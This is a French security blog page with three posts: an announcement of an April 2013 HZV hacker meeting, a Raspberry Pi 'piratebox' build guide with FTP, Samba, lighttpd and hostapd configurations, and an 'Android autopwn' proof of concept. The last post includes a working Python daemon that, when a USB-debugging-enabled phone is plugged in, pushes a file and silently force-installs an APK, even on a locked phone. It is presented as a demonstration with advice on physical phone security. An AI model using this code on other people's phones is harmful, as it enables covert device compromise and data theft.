19
mars
'13

Meeting HZV d'avril, ça déménage !

Publié le 19 mars 2013

Comme certains d'entre vous le savent peut-être, chez HZV tous les premiers samedis du mois, c'est l'occasion de se rassembler autour de bières et d'ordinateurs afin d'échanger sur la sécurité informatique, de rencontrer d'autres hackers et de refaire le monde. Mais c'est aussi bien souvent un moment de partage, durant lequel n'importe qui peut présenter un sujet, faire connaître un projet, ou réaliser un atelier pratique. D'habitude, cela se déroule dans les locaux de Sysdream, mais en avril il y a du changement.

On déménage !

Car oui, les locaux de Sysdream c'est bien, mais c'est petit, trop petit, et on se retrouve vite entassé dans pas beaucoup de mètres carrés. Alors quand deux élèves de l'ESIEA proches d'HZV nous proposent de faire un meeting HZV dans leur école, avec un amphi (avec plein de place !) et du matos et de la bière, on ne peut pas dire non. Le meet HZV du mois d'avril, ça se passe donc le samedi 6 avril 2013 de 10h00 à 18h00, dans les locaux de l'ESIEA.

Au programme: des talks, des speakers, du streaming live, des ateliers, des bières et du hack !

Et moi, je peux venir ?

Pour ceux qui ne connaitraît pas le principe des "meets" HZV, la règle est simple: c'est ouvert à tout le monde, sans aucun jugement sur la personne ou les compétences. Que vous soyez novice en sécurité informatique ou confirmé, que vous ayez 12 ans ou 77ans, vous êtes le(la) bienvenu(e). Si vous êtes curieux/curieuse, passionné/e, intrigué/e, ou tout simplement amateur/trice de geekeries et de bière, l'endroit vous est grand ouvert.

Si vous le souhaitez, amenez un laptop ou deux histoire de pouvoir profiter au mieux de l'event; pour ceux qui seraient plus branché hacking hardware, des arduinos ou launchpad voire même des raspberry Pi feront aussi très bien l'affaire !

C'est bien, mais c'est loin ?

L'ESIEA, c'est dans Paris 5ème, accessible via le métro 7 station "Les Gobelins" (ça ne s'invente pas). Si vous venez de province, c'est à un saut de métro de la gare Montparnasse (Métro 6 Nation puis métro 7 à place d'Italie), bref plutôt accessible. Et ne faites pas la moue, certains viennent de Toulon ou de Marseille pour y participer !

Si vous ne pouvez toutefois pas venir, les talks seront enregistrées et probablement streamées sur Internet. Les informations pour accéder au stream et/ou visualiser les vidéos des talks seront diffusées en temps voulu (suivez de près @hackerzvoice =).

Pour plus d'info, je vous renvoie à la page décrivant le programme et la localisation. Sinon, vous pouvez poser vos questions à @hackerzvoice, ou à meeting@hackerzvoice.net.

03
févr.
'13

Ratbox, une piratebox à base de Raspberry Pi

Publié le 03 février 2013

J'ai reçu fin septembre mon exemplaire du Raspberry Pi, après quelques semaines d'attente. J'avais en tête d'en faire une piratebox portable, à l'aide d'une batterie USB et d'une clef Wifi. Mais ce qui semblait simple sur papier est en réalité un peu plus complexe à réaliser, car le Raspberry Pi cache quelques surprises, autant de bonnes que de mauvaises. J'ai d'ailleurs pu la présenter et la tester au meeting HZV de février 2013, et ceux qui ont assisté à ma présentation trouveront dans cet article toute la configuration et un poil plus de détails.

Présentation du Raspberry Pi

Durant le meeting HZV du 3 novembre, j'ai fait une rapide présentation du Raspberry Pi, en insistant notamment sur des caractéristiques particulières qui ne sont pas forcément mentionnées dans la doc constructeur mais que pas mal de personnes ont pu rencontrer durant leurs tests. Parmi les points noirs identifiés: * les ports USB de sortie sont limités à 140mA chaque, ce qui est parfait pour des périphériques passifs mais trop peu pour des disques externes ou même des clefs USB WiFi * certaines distributions ne tiennent pas la route, comme ArchLinux version ARM (dns instable, config OOB très pauvre)

Ceci dit, ce n'est pas pour autant que le RaspPi est inutilisable comme PC embarqué: certains hacks ont été découverts permettant de contourner ces limitations. L'un des problèmes majeurs, l'alimentation trop faible des ports USB, a été pallié grâce à l'emploi d'un hub USB alimenté via une source externe de puissance. En effet, le RaspPi peut être alimenté soit par le port micro USB (dédié à l'alimentation), soit par les connecteurs USB eux-même !

De là, plusieurs astuces d'alimentation peuvent être employées, pour ma part j'ai réalisé un hack un brin plus souple en construisant moi-même un bridge USB qui injecte du courant à l'aide d'une source externe, assurant ainsi l'alimentation du RaspPi et de la clef WiFi que j'utilise. Ainsi, on a assez de pêche pour alimenter les deux sans avoir à employer de hub, et avec une source d'alimentation unique (1 seul connecteur). A noter que durant le meeting de février 2012, une personne m'a fait remarquer d'un dongle 802.11n Edimax nano (ref: EDIMAX EW-7811Un Wireless Nano) consommait quasimment rien et fonctionnait bien tel quel.

Le RaspPi reste néanmoins un très bon investissement, car très flexible au niveau des usages (et d'autant plus lorsqu'on arrive à lui coller un dongle WiFi USB qui supporte le mode AP).

Le projet Ratbox

Un projet que j'avais en tête et qui me motivait pour l'achat d'un Raspberry Pi était la création d'une piratebox sur ce système, le fait de construire de zéro un point d'accès permettant le partage de fichiers via un réseau ouvert. Ce projet a pour nom de code "Ratbox" (oui, un sale jeu de mot: Raspberry Pi Ratbox), et a été entamé dans un premier temps sans la partie wireless, n'ayant pas commandé le matériel. Celui-ci a été ajouté par la suite, et configuré de manière à fournir l'ensemble des fonctionnalités.

Au niveau du matériel nécessaire, il faut quelques éléments particuliers: - une clef WiFi TP-LINK TP-WN727N (testée et approuvée, support mac80211) - un Raspberry Pi - une carte SD haute capacité (16Go par exemple) Class 10 - une batterie USB ou tout autre moyen d'alimentation pouvant fournir 5V/1A - un cable USB en Y (2 prises USB mâles classiques et une mini-usb par exemple) - un support de stockage (disque dur USB ou combo mini-hub et clef USB) - un boitier tout pourri ou stylé, au choix

Avant toute chose, il faut déployer une Raspbian Wheezy sur la carte SD, à l'aide de dd. Une fois cela effectué, montez les partitions et localisez le fichier /etc/network/interfaces de manière à configurer le DHCP sur l'interface ethernet. Cela permettra de se connecter en SSH sur le RaspPi sans avoir à passer par un clavier et un écran, un brin ennuyeux car l'écran doit supporter le HDMI et le clavier être en USB.

Le fichier de configuration /etc/network/interfaces suivant prend ainsi en charge le DHCP sur la connexion ethernet et configure le réseau sans-fil par la même occasion:

auto lo

iface lo inet loopback
iface eth0 inet dhcp

iface wlan0 inet static
        address 192.168.0.1
        network 192.168.0.0
        netmask 255.255.255.0
        broadcast 192.168.0.255
        gateway 192.168.0.1

La Raspbian déployée, on la configure à l'aide de l'utilitaire:

# sudo raspi-config

Et on redémarre le RaspPi. On identifie l'adresse IP attribuée par la box (ou sur tout LAN) sur laquelle(lequel) on aura pris soin de le connecter pour avoir accès à Internet et profiter du DHCP. On installe ensuite Samba, ProFTPd, Lighttpd, php5 et les modules fastcgi-php et redirect. L'objectif étant de créer un dossier de partage sur la carte SD (bonjour les IO) accessible via du web, FTP et SMB:

# apt-get install proftpd samba lighttpd php5 php5-fpm

On configure d'abord le serveur FTP, via le paramétrage de /etc/proftpd/proftpd.conf:

ServerName                      "Ratbox"
  ServerType                      standalone
  DeferWelcome                    off

  MultilineRFC2228                on
  DefaultServer                   on
  ShowSymlinks                    on

  TimeoutNoTransfer               600
  TimeoutStalled                  600
  TimeoutIdle                     1200

  DisplayLogin                    welcome.msg
  DisplayChdir                    .message true
  ListOptions                     "-l"

  DenyFilter                      \*.*/

  # A basic anonymous configuration, no upload directories.

 <Anonymous ~ftp>
   User                         ftp
   Group                                nogroup
   # We want clients to be able to login with "anonymous" as well as "ftp"
   UserAlias                    anonymous ftp
   # Cosmetic changes, all files belongs to ftp user
   DirFakeUser  on ftp
   DirFakeGroup on ftp

   RequireValidShell            off

   # Limit the maximum number of anonymous logins
   MaxClients                   10

   # We want 'welcome.msg' displayed at login, and '.message' displayed
   # in each newly chdired directory.
   DisplayLogin         welcome.msg
   DisplayChdir         .message
 </Anonymous>

Puis Samba, via le fichier /etc/samba/smb.conf:

[global]
        server string = %h server
        map to guest = Bad User
        obey pam restrictions = Yes
        pam password change = Yes
        passwd program = /usr/bin/passwd %u
        passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
        unix password sync = Yes
        syslog = 0
        log file = /var/log/samba/log.%m
        max log size = 1000
        dns proxy = No
        usershare allow guests = Yes
        panic action = /usr/share/samba/panic-action %d
        idmap config * : backend = tdb

[homes]
        comment = Home Directories
        valid users = %S
        create mask = 0700
        directory mask = 0700
        browseable = No

[ratbox]
        comment = RatBox
        path = /srv/ftp/
        read only = No
        create mask = 0777
        directory mask = 0777
        guest only = Yes
        guest ok = Yes

Et enfin lighttpd:

server.modules = (
        "mod_access",
        "mod_alias",
        "mod_compress",
        "mod_redirect",
#       "mod_rewrite",
)

server.document-root        = "/var/www"
server.upload-dirs          = ( "/var/cache/lighttpd/uploads" )
server.errorlog             = "/var/log/lighttpd/error.log"
server.pid-file             = "/var/run/lighttpd.pid"
server.username             = "www-data"
server.groupname            = "www-data"
server.port                 = 80


index-file.names            = ( "index.php", "index.html", "index.lighttpd.html" )
url.access-deny             = ( "~", ".inc" )
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )

compress.cache-dir          = "/var/cache/lighttpd/compress/"
compress.filetype           = ( "application/javascript", "text/css", "text/html", "text/plain" )

# disable php in ~/share/files
$HTTP["url"] =~ "^/share/files" *
        fastcgi.server= ()
*

# redirect queries to "http://rat.box/"
$HTTP["host"] !~ "^(rat\.box)$" *
        url.redirect = ("/(.*)" => "http://rat.box")
*

# default listening port for IPv6 falls back to the IPv4 port
include_shell "/usr/share/lighttpd/use-ipv6.pl " + server.port
include_shell "/usr/share/lighttpd/create-mime.assign.pl"
include_shell "/usr/share/lighttpd/include-conf-enabled.pl"

On installe un peu de PHP histoire de fournir une homepage et un navigateur de fichiers basé sur jQuery (elFinder v2, ici une version modifiée qui embarque le JS et le CSS requis). Libre à vous d'ajouter des paquetages ou des pages. Personnellement, j'ai banni tout serveur de base de données car MySQL par exemple consomme énormément d'après la grande majorité des testeurs de RaspPi.

La configuration du réseau sans-fil ne pose pas de problème majeur, hostapd supportant très bien la carte WiFi USB (chipset realtek). J'ai utilisé le fichier /etc/hostapd/hostapd.conf suivant:

# interface
interface=wlan0
driver=nl80211
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0

ssid=Ratbox
hw_mode=g
channel=6

beacon_int=100
auth_algs=3
wmm_enabled=1

On termine avec l'installation de dnsmasq, la configuration du DHCP et celle de notre nom de domaine:

local=/rat.box/
dhcp-range=192.168.0.2,192.168.0.250,255.255.255.0,12h
address=/#/192.168.0.1

Connexion du support de stockage

Un cable en Y est nécessaire pour assurer d'une part l'alimentation suffisante de l'ensemble et d'autre part la liaison de données. Durant mes premiers tests, j'ai employé un disque dur externe formaté en vfat, qui fonctionnait très bien. Cependant, pour des raisons d'encombrement, je suis retourné sur un stockage de type clef USB de 32Go. Cependant, les deux possibilités requièrent une connectique différente.

Dans le cas du disque dur externe connecté en USB, c'est très simple: il suffit de connecter la fiche mini-usb au disque, la fiche USB de données au RaspPi, et la dernière fiche USB sur la batterie. La batterie alimente ainsi le RaspPi, la clef Wifi via le double connecteur USB du RaspPi, et le disque dur.

Dans le cas de la clef USB, j'ai bricolé un petit connecteur maison permettant d'injecter l'alimentation dans un raccord male/femelle (un prolongateur USB quoi).

L'avantage de supprimer le hub est non-négligeable: on gagne énormément en encombrement. Le résultat final:

<emb135|center>

Le boitier

En ce qui concerne le boîtier, j'ai dans un premier temps récupéré un boîtier PVC d'un vieux projet de techno que j'ai fait en 5ème ou 4ème (c'est dire), que j'ai un peu charcuté pour pouvoir faire passer un fil d'alimentation en douce, et suffisamment grand pour pouvoir accueillir un hub (temporairement) et le RaspPi. Cependant il s'est vite révélé trop petit, et j'ai donc bricolé une boîte de carte Wifi Alfa pour en faire un boitier de fortune:

<emb136|center>

Conclusion

Le meeting de février m'a aussi permis de beta-tester ma première version de Ratbox, et d'ailleurs quelques soucis ont pointé le bout de leur nez: plusieurs personnes téléchargeant des fichiers ont rendu le point d'accès invisible, certainement du aux accès disques USB ou à la consommation CPU. Je vais tweaker encore au max mon raspberry Pi et améliorer le concept au cours des prochains meeting. Sachez toutefois qu'elle sera présente et disponible à tous les futurs meetings HZV !

Par ailleurs, vous trouverez dans les documents joints à cet article le PDF de ma présentation, qui sera aussi disponible en ligne plus ou moins rapidement sur le site d'HZV.

23
nov.
'12

Android autopwn avec un Raspberry Pi

Publié le 23 novembre 2012

Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet "Rasppi" dans la suite de cet article.

Le Raspberry Pi c'est le bien, prenez en !

J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).

Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:

Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.

J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.

Le côté obscur du Rasppi

Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.

La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.

Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:

# apt-get install git

Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:

# apt-get install build-essential libncurses5-dev
$ git clone git://codeaurora.org/platform/system/core.git system/core
$ git clone git://codeaurora.org/platform/build.git build
$ git clone git://codeaurora.org/platform/external/zlib.git external/zlib
$ git clone git://codeaurora.org/platform/bionic.git bionic

On récupère ensuite un Makefile que l'on copie dans le dossier system/core/adb:

$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz
$ cd system/core/adb
$ tar xvzf Makefile.gz
$ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile
$ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc

On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:

...
# ancienne ligne
# TOOLCHAIN= arm-none-linux-gnueabi-
TOOLCHAIN=
...

Et on compile:

$ make
$ cp adb /usr/local/bin/

Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis inspiré de cette page, je vous invite à vous y reporter si je n'ai pas été très clair.

Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:

import re
import sys
import subprocess
from time import sleep
from daemon import Daemon

device_re = re.compile("Bus\s+(?P<bus>\d+)\s+Device\s+(?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$", re.I)

class AndroPwnDaemon(Daemon):

        def get_devices(self):
                df = subprocess.check_output("lsusb", shell=True)
                devices = []
                for i in df.split('\n'):
                        if i:
                                info = device_re.match(i)
                                if info:
                                        dinfo = info.groupdict()
                                        devices.append(dinfo['id'])
                return devices

        def run(self):
                print 'AndroPwn - Android Autopwn via Raspberry Pi ]'
                print '>> author: Damien "virtualabs" Cauquil <virtualabs@gmail.com>'
                print ''
                devices = self.get_devices()
                while True:
                        devices_ = self.get_devices()
                        for device in devices_:
                                if device not in devices:
                                        print '[+] New device connected, infecting ...'
                                        # True evil code here (this one only gets uname :)
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','push','/home/pi/andropwn/0wn3d.txt','/sdcard/'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','install','/home/pi/andropwn/evil.apk'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        print output
                        devices = [i for i in devices_]
                        sleep(1)

if __name__ == '__main__':
        daemon = AndroPwnDaemon('/tmp/andropwn.pid',stdout='/tmp/andropwn.log')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        sys.exit(2)
                sys.exit(0)
        else:
                print 'usage: %s start|stop|restart' % sys.argv[0]
                sys.exit(2)

Cette version ne fait que dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé evil.apk. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier evil.apk n'est rien d'autre que l'application PodcastAddict qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).

<center><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="wmode" value="opaque"><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true" wmode="opaque"></embed></object></center>

Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.

Conclusion

Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.

Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.



Les contenus disponibles sur ce blog sont publiés sous licence Creative Commons BY-NC-SA.
Vous pouvez réutiliser tout ou partie de ces contenus à condition de citer l'auteur et l'origine, vous ne pouvez en faire une utilisation commerciale, et enfin vous devez partager tout travail ou œuvre dérivée sous les mêmes conditions — c'est-à-dire avec la même licence d'utilisation Creative Commons.